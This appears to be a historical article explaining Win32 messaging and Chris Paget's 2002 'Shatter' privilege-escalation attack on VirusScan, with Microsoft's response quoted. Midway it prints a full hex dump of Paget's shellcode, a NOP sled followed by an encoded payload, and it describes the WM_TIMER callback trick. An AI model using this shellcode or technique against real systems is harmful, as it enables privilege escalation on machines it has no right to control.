Home » Learning Curve » Red Hat Diaries
Shatterblast From the Past: A Windows Achilles HeelA matter of national security?
Jim Allchin was head of Microsoft Windows development in a former life and in that role was called on to testify in the Department of Justice trial in Washington DC. He turned a variety of different colours on the witness stand when the discussion of exposing Windows source code came up, claiming there were design flaws that if known to a wider audience could be a matter of national security.
He then blurted something about the 'message queue' and immediately regretted it.
Indeed. The Windows GUI was built before the age of the Internet and Dave Cutler's VMS/WNT wasn't supposed to have a GUI at all. What you're dealing with is a way to circumvent security.
Proper system security - alien thoughts to the Microsofties - demands something of the following.
Hardware | OS Kernel | Joe Sixpack |
So if Joe Sixpack (or any process rogue or otherwise running on his account) wants to get at the 'good stuff' they have to go through the operating system kernel. And if Dave Cutler's VMS/WNT had never acquired a 'GUI' then things would have been OK.
But everything changed from the moment (circa 1991) Dave got told he had to have a GUI. The entire security model of Dave's system got thrown out the window (and into the skip in the parking lot below). What Windows users instead got was this.
Win32 | Hardware | OS Kernel | Joe Sixpack |
Joe Sixpack had to go through the OS kernel to get at the good stuff in the simpler model. But tack on the 'GUI' - tack on the Win32 subsystem - and suddenly Joe could circumvent essential system security and effectively take another open road to the computer hardware and the good stuff beyond.
How is this possible? What did Jim Allchin say?
It's all about the 'message queue'. But to understand the message queue you have to understand what 'windows' are all about. Not the system but the fundamental architectural concept of the 'window'. For in Windows (the system) everything is a 'window' - push buttons, scroll bars, list boxes, list views, tree views, edit controls, rich edit controls: all of it. And every 'window' has a 'procedure' associated with it at runtime. Some of these procedures are defined by the system; user code defines the others.
This is the data glob used to register a window class. Just taking a look at what's initialised here gives a good clue as to how things work.
typedef struct {
UINT style; // Style bits - lots of cosmetics too
WNDPROC lpfnWndProc; // The code that will receive messages for the window
int cbClsExtra; // Extra storage
int cbWndExtra; // Extra storage
HINSTANCE hInstance; // An 'instance handle' passed to the program
HICON hIcon; // The class icon
HCURSOR hCursor; // The class cursor
HBRUSH hbrBackground; // The colour used to 'erase' window contents
LPCTSTR lpszMenuName; // The ID for the window menu
LPCTSTR lpszClassName; // The actual ID of the class
} WNDCLASS, *PWNDCLASS;
The important fields here are lpfnWndProc and lpszClassName. (That's 'reverse Hungarian notation' BTW - invented by Microsoft propaganda minister Charles Simonyi. The 'lpfn' stands for 'long pointer to function' and the 'lpsz' stands for 'long pointer to string, zero-terminated'. They're just names - don't worry too much about them.)
What's important is that:
- Each class has a unique identifier (in the form of a unique character string); and
- There is an associated window procedure (block of code) for each registered class.
Window procedures are a 'catch all' for everything thrown at a 'window'. Their interface looks something like this.
LRESULT MyWindowProcedure(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) {
switch (msg) {
/* * */
case WM_COMMAND:
/* * */
default:
return DefWindowProc(hWnd, msg, wParam, lParam);
}
}
A window procedure can handle more than one window of the same class; it's therefore important it have a 'handle' to the actual window instance (hWnd). The 'UINT' (unsigned integer) 'msg' is the actual message - it's a numerical value as everything else in Windows. Extensive 'macro' lists with tens of thousands of entries are used to (hopefully) keep everything unique.
This message can be something from the system - 'we're shutting down' or 'system configuration has changed' or 'you're running out of disk space' - or it can be a command from the user - in which case WM_COMMAND ('windows message command') gets sent.
Windows is an event driven programming model as all GUIs. This means the code 'reacts' to events and user input and doesn't try to take control from the user. And this applies as soon as the app is properly initialised. And that involves registering all the classes the application needs.
Some are provided by the system: BUTTON for push buttons, radio buttons, et al; EDIT for ordinary text input entry fields; and so forth. The rest are user-defined and are registered locally in the application init code.
// Initialise our main window class, register it
HWND hwnd; MSG msg; WNDCLASS wc;
wc.style = 0;
wc.lpfnWndProc = MyWindowProcedure; // Binds this class to our window procedure
wc.cbClsExtra = wc.cbWndExtra = 0;
wc.hInstance = hInstance;
wc.hIcon = LoadIcon(0, IDI_APPLICATION);
wc.hCursor = LoadCursor(0, IDC_ARROW);
wc.hbrBackground = (HBRUSH) (COLOR_BACKGROUND + 1);
wc.lpszMenuName = MAKEINTRESOURCE(1);
wc.lpszClassName = "MyMainWndClass"; // Our unique main window class identifier
RegisterClass(&wc);
/* * */
// Create our main window, put it on screen, make sure it's updated
if (hwnd = CreateWindow("MyMainWndClass", "Shatter", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, 0, 0, hInstance, 0)) {
ShowWindow(hwnd, nCmdShow); UpdateWindow(hwnd);
}
/* * */
// Start the MESSAGE QUEUE
while (GetMessage(&msg, 0, 0, 0)) {
TranslateMessage(&msg); DispatchMessage(&msg);
}
There are three steps in getting an 'event driven' Windows application ready to fall into the 'event driven model'.
- Fill in a class registration structure and send it off for registration.
- Use the previous information to create a window of the registered class.
- Start the MESSAGE QUEUE.
The message queue (aka the message pump) is how those 'events' in the 'event driven model' arrive at your application code. Back in the good old days of cooperative multitasking (where everything was actually a single thread) the GetMessage call held a bonus: calling it would revert control to the 'operating system' which then tidied up other applications, windows, and so forth before finally responding to the caller.
TranslateMessage checks for keyboard shortcuts in the message and DispatchMessage is the one that actually sends the message on (in this sample to MyWindowProcedure). DispatchMessage waits for MyWindowProcedure to return; it doesn't return until MyWindowProcedure does. And then GetMessage is called again. And so forth.
Of course if any individual app got hung up and didn't call GetMessage regularly - in other words if MyWindowProcedure screwed up - you got a 'wait cursor'. And not only your app but the whole system hung and had to be rebooted.
The move to 'secure' 32-bit programming with preemptive multitasking changed all that. The kernel no longer had to wait for GUI applications to call GetMessage - it gave applications CPU time when it saw fit.
But the basic underlying messaging model remained.
LRESULT SendMessage(HWND, UINT, WPARAM, LPARAM);
The basic Windows 'atom' is the SendMessage call. Everything devolves down to it sooner or later. As everything in Windows is conceptually and functionally a 'window' then the way things communicate is by sending messages to windows.
The format of SendMessage is the same as that used by the windows procedure.
- HWND. A 'handle' to a window (or button, scroll bar, whatever).
- UINT. An unsigned integer uniquely identifying the message sent.
- WPARAM. A 32-bit integer value. Stands for 'word parameter' as it originally was 16-bit.
- LPARAM. A 32-bit integer value. Stands for 'long parameter' and has always been 32-bit.
So:
- You click on a push button? The push button sends a message to its window.
- You want to paste in text in an entry field? The entry field gets a WM_PASTE message.
And so forth. There are only two hitches.
- WM_TIMER. This is a funky message that doesn't get dispatched as the other messages.
- Any 'window' in Windows can send any message it wants to any other window. Just like that.
But is that bad? In a protected mode system - yes it's very bad. In a world where no process is supposed to be able to affect any other process - nor be able to read memory used by that process, either whilst running or afterwards - it's very bad.
And that's why Joe Sixpack can circumvent basic system security in the second diagram above.
These are not new things. Vienna-based web guru Andi Höller wrote a novelty program ten years ago called 'CRASHit' that was reviewed at Radsoft.
CRASHit simply crashes your entire system with any application you choose as the culprit (we haven't checked this one out yet but suspect Andi is sending bogus WM_TIMER messages to the window of your choice - MS Windows, unbelievably enough, does not check for the validity of the function pointer you send along in its default window procedure).
And it was fun - but ten years ago the straight line between the ability to crash something and the possibility one could exploit something wasn't as obvious. Today it is.

Chris Paget (aka 'Foon') read about the Jim Allchin blooper in the DOJ trial and in August 2002 published 'Exploiting Design Flaws in the Win32 API for Privilege Escalation'. Essentially he used the Win32 subsystem and the Windows message queue to circumvent system security. Chris developed a tool he called 'Shatter' to do this.
Yes, I know this code is nasty.
Yes, I know that there's easier ways to do this.
Yes, I know that several of the stages can be combined into one easy sploit.
Yes, I know that I should have written my own shellcode.
Yes, it works :)
</foon>
Paget writes. 'Any application on a given desktop can send a message to any window on the same desktop, regardless of whether or not that window is owned by the sending application, and regardless of whether the target application wants to receive those messages. There is no mechanism for authenticating the source of a message; a message sent from a malicious application is indistinguishable from a message sent by the Windows kernel.'
His tool begins by letting you zero in on any window on your desktop - any window, any dialog, any edit control, any scroll bar, and so forth. This is something Microsoft tools have always been able to do and Radsoft and Robin Keir were able to do better. You start by dragging your mouse from a special dialog. And you get to see all the visible (and invisible) 'windows' on your desktop. You even get to see the 'big grandaddy' - '#32769', the 'desktop window'.

You get to see tooltips, the tray window, the tray clock's window, buttons, and so forth. You stop on the one you like and release your mouse. Up pops an information 'property sheet' with everything you'd ever want to - and never would want to - know about your target.
Paget decides to attack VirusScan as that has a higher privilege level than his lowly Shatter. Shatter is rather makeshift but one doesn't need better to prove a concept. He performed the experiment on Win2K Professional and logged in as a guest user.
He fired up the VirusScan console and invoked 'New Task' to get an entry field at the top of the dialog that appeared. He gets the window handle for the field - the first argument in the call to SendMessage. And it didn't matter VirusScan was running at a better privilege level than his guest account - he could get at it anyway. And so he now sends on some good old shell code.
00000000 46 4f 4f 4e 90 90 90 90 90 90 90 90 90 90 90 90 |FOON............|
00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000060 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000000a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000000b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000000c0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000000d0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000000e0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000000f0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000100 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000110 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000120 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000130 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000140 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000150 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000160 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000170 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000180 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000190 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000001a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000001b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000001c0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000001d0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000001e0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000001f0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000200 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000210 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000220 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000230 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000240 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000250 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000260 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000270 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000280 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000290 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000002a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000002b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000002c0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000002d0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000002e0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000002f0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000300 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000310 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000320 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000330 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000340 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000350 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000360 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000370 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000380 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000390 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000003a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000003b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000003c0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000003d0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000003e0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
000003f0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000400 eb 03 5d eb 05 e8 f8 ff ff ff 83 c5 15 90 90 90 |..].............|
00000410 8b c5 33 c9 66 b9 d7 02 50 80 30 95 40 e2 fa 2d |..3.f...P.0.@..-|
00000420 95 95 64 e2 14 ad d8 cf 05 95 e1 96 dd 7e 60 7d |..d..........~`}|
00000430 95 95 95 95 c8 1e 40 14 7f 9a 6b 6a 6a 1e 4d 1e |......@...kjj.M.|
00000440 e6 a9 96 66 1e e3 ed 96 66 1e eb b5 96 6e 1e db |...f....f....n..|
00000450 81 a6 78 c3 c2 c4 1e aa 96 6e 1e 67 2c 9b 95 95 |..x......n.g,...|
00000460 95 66 33 e1 9d cc ca 16 52 91 d0 77 72 cc ca cb |.f3.....R..wr...|
00000470 1e 58 1e d3 b1 96 56 44 74 96 54 a6 5c f3 1e 9d |.X....VDt.T.\...|
00000480 1e d3 89 96 56 54 74 97 96 54 1e 95 96 56 1e 67 |....VTt..T...V.g|
00000490 1e 6b 1e 45 2c 9e 95 95 95 7d e1 94 95 95 a6 55 |.k.E,....}.....U|
000004a0 39 10 55 e0 6c c7 c3 6a c2 41 cf 1e 4d 2c 93 95 |9.U.l..j.A..M,..|
000004b0 95 95 7d ce 94 95 95 52 d2 f1 99 95 95 95 52 d2 |..}....R......R.|
000004c0 fd 95 95 95 95 52 d2 f9 94 95 95 95 ff 95 18 d2 |.....R..........|
000004d0 f1 c5 18 d2 85 c5 18 d2 81 c5 6a c2 55 ff 95 18 |..........j.U...|
000004e0 d2 f1 c5 18 d2 8d c5 18 d2 89 c5 6a c2 55 52 d2 |...........j.UR.|
000004f0 b5 d1 95 95 95 18 d2 b5 c5 6a c2 51 1e d2 85 1c |.........j.Q....|
00000500 d2 c9 1c d2 f5 1e d2 89 1c d2 cd 14 da d9 94 94 |................|
00000510 95 95 f3 52 d2 c5 95 95 18 d2 e5 c5 18 d2 b5 c5 |...R............|
00000520 a6 55 c5 c5 c5 ff 94 c5 c5 7d 95 95 95 95 c8 14 |.U.......}......|
00000530 78 d5 6b 6a 6a c0 c5 6a c2 5d 6a e2 85 6a c2 71 |x.kjj..j.]j..j.q|
00000540 6a e2 89 6a c2 71 fd 95 91 95 95 ff d5 6a c2 45 |j..j.q.......j.E|
00000550 1e 7d c5 fd 94 94 95 95 6a c2 7d 10 55 9a 10 3f |.}......j.}.U..?|
00000560 95 95 95 a6 55 c5 d5 c5 d5 c5 6a c2 79 16 6d 6a |....U.....j.y.mj|
00000570 9a 11 02 95 95 95 1e 4d f3 52 92 97 95 f3 52 d2 |.......M.R....R.|
00000580 97 95 ee 52 d2 91 ea 95 95 94 ff 85 18 92 c5 c6 |...R............|
00000590 6a c2 61 ff a7 6a c2 49 a6 5c c4 c3 c4 c4 c4 6a |j.a..j.I.\.....j|
000005a0 e2 81 6a c2 59 10 55 e1 f5 05 05 05 05 15 ab 95 |..j.Y.U.........|
000005b0 e1 ba 05 05 05 05 ff 95 c3 fd 95 91 95 95 c0 6a |...............j|
000005c0 e2 81 6a c2 4d 10 55 e1 d5 05 05 05 05 ff 95 6a |..j.M.U........j|
000005d0 a3 c0 c6 6a c2 6d 16 6d 6a e1 bb 05 05 05 05 7e |...j.m.mj......~|
000005e0 27 ff 95 fd 95 91 95 95 c0 c6 6a c2 69 10 55 e9 |'.........j.i.U.|
000005f0 8d 05 05 05 05 e1 09 ff 95 c3 c5 c0 6a e2 8d 6a |............j..j|
00000600 c2 41 ff a7 6a c2 49 7e 1f c6 6a c2 65 ff 95 6a |.A..j.I~..j.e..j|
00000610 c2 75 a6 55 39 10 55 e0 6c c4 c7 c3 c6 6a 47 cf |.u.U9.U.l....jG.|
00000620 cc 3e 77 7b 56 d2 f0 e1 c5 e7 fa f6 d4 f1 f1 e7 |.>w{V...........|
00000630 f0 e6 e6 95 d9 fa f4 f1 d9 fc f7 e7 f4 e7 ec d4 |................|
00000640 95 d6 e7 f0 f4 e1 f0 c5 fc e5 f0 95 d2 f0 e1 c6 |................|
00000650 e1 f4 e7 e1 e0 e5 dc fb f3 fa d4 95 d6 e7 f0 f4 |................|
00000660 e1 f0 c5 e7 fa f6 f0 e6 e6 d4 95 c5 f0 f0 fe db |................|
00000670 f4 f8 f0 f1 c5 fc e5 f0 95 d2 f9 fa f7 f4 f9 d4 |................|
00000680 f9 f9 fa f6 95 c2 e7 fc e1 f0 d3 fc f9 f0 95 c7 |................|
00000690 f0 f4 f1 d3 fc f9 f0 95 c6 f9 f0 f0 e5 95 d0 ed |................|
000006a0 fc e1 c5 e7 fa f6 f0 e6 e6 95 d6 f9 fa e6 f0 dd |................|
000006b0 f4 fb f1 f9 f0 95 c2 c6 da d6 de a6 a7 95 c2 c6 |................|
000006c0 d4 c6 e1 f4 e7 e1 e0 e5 95 e6 fa f6 fe f0 e1 95 |................|
000006d0 f6 f9 fa e6 f0 e6 fa f6 fe f0 e1 95 f6 fa fb fb |................|
000006e0 f0 f6 e1 95 e6 f0 fb f1 95 e7 f0 f6 e3 95 f6 f8 |................|
000006f0 f1 bb f0 ed f0 95 0d 0a 0d 0a 0d 0a |............|
Next he attacks WM_TIMER (mentioned before because it's a bit weird). WM_TIMER is a message to send off a 'tick' to the system (or something in it) and it doesn't get processed in the normal way in the message queue. And the LPARAM argument in this call represents the address of a 'callback' function the system is to call. (CRASHit simply used a guaranteed 'bad' address.)
'Yes, you read that right; you can send any window a WM_TIMER message with a non-zero second parameter (the first is a timer ID) and execution jumps to that address. As far as I know, the message doesn't even go into the message queue, so the application doesn't even have the chance to ignore it. Silly, silly, silly...'
Silly indeed - but not to forget that this 'windowing model', based on what Microsoft could figure out from their early Mac prototypes, dates back to the early 1980s when there was no 'world wide web' and the best Microsoft could come up with was their 'MS-DOS Executive' running atop - MS-DOS.

And now back to today. Microsoft initially dismissed this exploit. It wasn't an issue, they said.
Subject: RE: Security Vulnerability Report [MSRC 1250dg]
Date: Mon, 5 Aug 2002 14:24:06 -0700
From: 'Microsoft Security Response Center' <secure@microsoft.com>
Cc: 'Microsoft Security Response Center' <secure@microsoft.com>
Return-Path: secure@microsoft.com
Hi Chris,
I wanted to get back with you and let you know the results of the investigation. You are correct that this is an old topic and has been discussed in the past (for example, see http://online.securityfocus.com/archive/1/80827).
I've been talking with the technical folks about this and they are saying that we have, for a long time now, recommended against interactive services. We also advise that all windows are peers on the desktop, regardless of privilege level of the processes that own the windows--the desktop is the security boundary for windows messages.
It is the implementer of a program that decides what messages to handle and how to handle them. This also means that an attacker needs to figure out a way to use windows messages to actually get the application to do anything useful to the attacker. Given this, I would recommend that you contact the program's owner and let them know of your report. There may or may not be a vulnerability for them to address, but the program's owner should determine that.
Also, if I understand things correctly, the attack you describe either requires the user to run an attacker's program on their system or the attacker needs to have access to the user's system. In either case, the attacker has been allowed to cross a security boundary. In our essay, the 'Ten Immutable Laws of Security', these are Law #1-- 'If a bad guy can persuade you to run his program on your computer, it's not your computer anymore,' and Law #3 -- 'If a bad guy has unrestricted physical access to your computer, it's not your computer anymore.' (see http://www.microsoft.com/technet/columns/security/essays/10imlaws.asp for the full essay).
Thanks again for bringing this to us. If you feel I've misunderstood or missed something, please let me know.
Regards,
Dave
Paget knew they were wrong - and history proved it so as well. Microsoft eventually came with a 'fix' of a sort - today lesser privileged windows can't use SendMessage to communicate with better privileged ones.
But the basic mechanism remains - the Win32 subsystem which David Neil Cutler never dreamed of in his wildest nightmare is still there atop his VMS/WNT security model. And hackers worldwide are always ready for the next shoe to drop.
It takes a lot of work to design and build a secure operating system: you have to factor in thorough security from the ground up, from day one. But if that's hard then think of how much harder it is to apply plasters and sticky tape to a system that was never supposed to deal with security at all.
It's not only harder - common sense and hundreds of man-years experience say it simply can't be done.
|